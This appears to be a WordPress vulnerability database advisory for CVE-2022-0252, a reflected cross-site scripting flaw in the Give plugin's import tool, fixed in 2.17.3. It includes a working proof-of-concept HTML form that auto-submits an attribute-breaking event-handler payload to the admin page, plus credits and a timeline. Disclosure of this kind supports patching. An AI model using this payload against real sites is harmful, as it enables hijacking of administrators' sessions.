Give < 2.17.3 – Reflected Cross-Site Scripting via Import Tool | CVE 2022-0252 | Plugin Vulnerabilities

Description

The plugin does not escape the json parameter before outputting it back in an attribute in the Import admin dashboard, leading to a Reflected Cross-Site Scripting

Proof of Concept

<html>
  <body>
    <form id="hack" action="https://example.com/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=import&importer-type=import_core_setting" method="POST">
      <input type="hidden" name="json" value='" style="animation-name:rotation" onanimationstart="alert(/XSS/)" t="' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

Affects Plugins

Fixed in 2.17.3

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2659032

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website

https://blog.szfszf.top

Submitter twitter

Verified

Yes

WPVDB ID

b0e551af-087b-43e7-bdb7-11d7f639028a

Timeline

Publicly Published

2022-01-18 (about 3 years ago)

Added

2022-01-18 (about 3 years ago)

Last Updated

2022-09-26 (about 3 years ago)

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